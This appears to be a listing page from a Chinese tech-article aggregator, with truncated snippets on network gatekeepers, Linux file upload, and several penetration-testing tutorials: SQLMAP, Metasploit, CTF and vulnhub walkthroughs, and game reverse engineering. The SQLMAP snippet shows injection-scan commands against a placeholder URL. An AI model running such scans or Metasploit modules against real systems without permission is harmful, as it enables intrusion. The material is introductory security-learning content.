    網閘架構一般分為兩種:三主機的三系統架構網閘和雙主機的2+1架構網閘。 三主機架構分別為內端機、外端機和仲裁機。三機無論從軟體和硬體上均各自獨立。首先從硬體上來看,三機都用各自獨立的主板、記憶體及存盤設備。從軟體上來看,三機有各自獨立的作業系統。這樣能達到完全的三機獨立。對于“2+1”系統,“2”分為 ......

    uj5u.com 2020-09-10 02:00:44 more
  • 如何從xshell上傳檔案到centos linux虛擬機里

    如何從xshell上傳檔案到centos linux虛擬機里及:虛擬機CentOs下執行 yum -y install lrzsz命令,出現錯誤:鏡像無法找到軟體包 前言 一、安裝lrzsz步驟 二、上傳檔案 三、遇到的問題及解決方案 總結 前言 提示:其實很簡單,往虛擬機上安裝一個上傳檔案的工具 ......

    uj5u.com 2020-09-10 02:00:47 more
  • 一、SQLMAP入門

    一、SQLMAP入門 1、判斷是否存在注入 sqlmap.py -u 網址/id=1 id=1不可缺少。當注入點后面的引數大于兩個時。需要加雙引號, sqlmap.py -u "網址/id=1&uid=1" 2、判斷文本中的請求是否存在注入 從文本中加載http請求,SQLMAP可以從一個文本檔案中 ......

    uj5u.com 2020-09-10 02:00:50 more
  • Metasploit 簡單使用教程

    metasploit 簡單使用教程 浩先生, 2020-08-28 16:18:25 分類專欄: kail 網路安全 linux 文章標簽: linux資訊安全 編輯 著作權 metasploit 使用教程 前言 一、Metasploit是什么? 二、準備作業 三、具體步驟 前言 Msfconsole ......

    uj5u.com 2020-09-10 02:00:53 more
  • 游戲逆向之驅動層與用戶層通訊

    驅動層代碼: #pragma once #include <ntifs.h> #define add_code CTL_CODE(FILE_DEVICE_UNKNOWN,0x800,METHOD_BUFFERED,FILE_ANY_ACCESS) /* 更多游戲逆向視頻www.yxfzedu.com ......

    uj5u.com 2020-09-10 02:00:56 more
  • 北斗電力時鐘(北斗授時服務器)讓網路資料更精準

    北斗電力時鐘(北斗授時服務器)讓網路資料更精準 北斗電力時鐘(北斗授時服務器)讓網路資料更精準 京準電子科技官微——ahjzsz 近幾年,資訊技術的得了快速發展,互聯網在逐漸普及,其在人們生活和生產中都得到了廣泛應用,并且取得了不錯的應用效果。計算機網路資訊在電力系統中的應用,一方面使電力系統的運行 ......

    uj5u.com 2020-09-10 02:01:03 more
  • 【CTF】CTFHub 技能樹 彩蛋 writeup

    ?碎碎念 CTFHub:https://www.ctfhub.com/ 筆者入門CTF時時剛開始刷的是bugku的舊平臺,后來才有了CTFHub。 感覺不論是網頁UI設計,還是題目質量,賽事跟蹤,工具軟體都做得很不錯。 而且因為獨到的金幣制度的確讓人有一種想去刷題賺金幣的感覺。 個人還是非常喜歡這個 ......

    uj5u.com 2020-09-10 02:04:05 more
  • 02windows基礎操作

    我學到了一下幾點 Windows系統目錄結構與滲透的作用 常見Windows的服務詳解 Windows埠詳解 常用的Windows注冊表詳解 hacker DOS命令詳解(net user / type /md /rd/ dir /cd /net use copy、批處理 等) 利用dos命令制作 ......

    uj5u.com 2020-09-10 02:04:18 more
  • 03.Linux基礎操作

    我學到了以下幾點 01Linux系統介紹02系統安裝,密碼啊破解03Linux常用命令04LAMP 01LINUX windows: win03 8 12 16 19 配置不繁瑣 Linux:redhat,centos(紅帽社區版),Ubuntu server,suse unix:金融機構,證券,銀 ......

    uj5u.com 2020-09-10 02:04:30 more
  • 05HTML

    01HTML介紹 02頭部標簽講解03基礎標簽講解04表單標簽講解 HTML前段語言 js1.了解代碼2.根據代碼 懂得挖掘漏洞 (POST注入/XSS漏洞上傳)3.黑帽seo 白帽seo 客戶網站被黑帽植入劫持代碼如何處理4.熟悉html表單 <html><head><title>TDK標題,描述 ......

    uj5u.com 2020-09-10 02:04:36 more
最新发布
  • 2023年最新微信小程式抓包教程

    01 開門見山 隔一個月發一篇文章,不過分。 首先回顧一下《微信系結手機號資料庫被脫庫事件》,我也是第一時間得知了這個訊息,然后跟蹤了整件事情的經過。下面是這起事件的相關截圖以及近日流出的一萬條資料樣本: 個人認為這件事也沒什么,還不如關注一下之前45億快遞資料查詢渠道疑似在近日復活的訊息。 訊息是 ......

    uj5u.com 2023-04-20 08:48:24 more
  • web3 產品介紹:metamask 錢包 使用最多的瀏覽器插件錢包

    Metamask錢包是一種基于區塊鏈技術的數字貨幣錢包,它允許用戶在安全、便捷的環境下管理自己的加密資產。Metamask錢包是以太坊生態系統中最流行的錢包之一,它具有易于使用、安全性高和功能強大等優點。 本文將詳細介紹Metamask錢包的功能和使用方法。 一、 Metamask錢包的功能 數字資 ......

    uj5u.com 2023-04-20 08:47:46 more
  • vulnhub_Earth

    前言 靶機地址->>>vulnhub_Earth 攻擊機ip:192.168.20.121 靶機ip:192.168.20.122 參考文章 https://www.cnblogs.com/Jing-X/archive/2022/04/03/16097695.html https://www.cnb ......

    uj5u.com 2023-04-20 07:46:20 more
  • 從4k到42k,軟體測驗工程師的漲薪史,給我看哭了

    清明節一過,盲猜大家已經無心上班,在數著日子準備過五一,但一想到銀行卡里的余額……瞬間心情就不美麗了。最近,2023年高校畢業生就業調查顯示,本科畢業月平均起薪為5825元。調查一出,便有很多同學表示自己又被平均了。看著這一資料,不免讓人想到前不久中國青年報的一項調查:近六成大學生認為畢業10年內會 ......

    uj5u.com 2023-04-20 07:44:00 more
  • 最新版本 Stable Diffusion 開源 AI 繪畫工具之中文自動提詞篇

    🎈 標簽生成器 由于輸入正向提示詞 prompt 和反向提示詞 negative prompt 都是使用英文,所以對學習母語的我們非常不友好 使用網址:https://tinygeeker.github.io/p/ai-prompt-generator 這個網址是為了讓大家在使用 AI 繪畫的時候 ......

    uj5u.com 2023-04-20 07:43:36 more
  • 漫談前端自動化測驗演進之路及測驗工具分析

    隨著前端技術的不斷發展和應用程式的日益復雜,前端自動化測驗也在不斷演進。隨著 Web 應用程式變得越來越復雜,自動化測驗的需求也越來越高。如今,自動化測驗已經成為 Web 應用程式開發程序中不可或缺的一部分,它們可以幫助開發人員更快地發現和修復錯誤,提高應用程式的性能和可靠性。 ......

    uj5u.com 2023-04-20 07:43:16 more
  • CANN開發實踐:4個DVPP記憶體問題的典型案例解讀

    摘要:由于DVPP媒體資料處理功能對存放輸入、輸出資料的記憶體有更高的要求(例如,記憶體首地址128位元組對齊),因此需呼叫專用的記憶體申請介面,那么本期就分享幾個關于DVPP記憶體問題的典型案例,并給出原因分析及解決方法。 本文分享自華為云社區《FAQ_DVPP記憶體問題案例》,作者:昇騰CANN。 DVPP ......

    uj5u.com 2023-04-20 07:43:03 more
  • msf學習

    msf學習 以kali自帶的msf為例 一、msf核心模塊與功能 msf模塊都放在/usr/share/metasploit-framework/modules目錄下 1、auxiliary 輔助模塊,輔助滲透(埠掃描、登錄密碼爆破、漏洞驗證等) 2、encoders 編碼器模塊,主要包含各種編碼 ......

    uj5u.com 2023-04-20 07:42:59 more
  • Halcon軟體安裝與界面簡介

    1. 下載Halcon17版本到到本地 2. 雙擊安裝包后 3. 步驟如下 1.2 Halcon軟體安裝 界面分為四大塊 1. Halcon的五個助手 1) 影像采集助手:與相機連接,設定相機引數,采集影像 2) 標定助手:九點標定或是其它的標定,生成標定檔案及內參外參,可以將像素單位轉換為長度單位 ......

    uj5u.com 2023-04-20 07:42:17 more
  • 在MacOS下使用Unity3D開發游戲

    第一次發博客,先發一下我的游戲開發環境吧。 去年2月份買了一臺MacBookPro2021 M1pro(以下簡稱mbp),這一年來一直在用mbp開發游戲。我大致分享一下我的開發工具以及使用體驗。 1、Unity 官網鏈接: https://unity.cn/releases 我一般使用的Apple ......

    uj5u.com 2023-04-20 07:40:19 more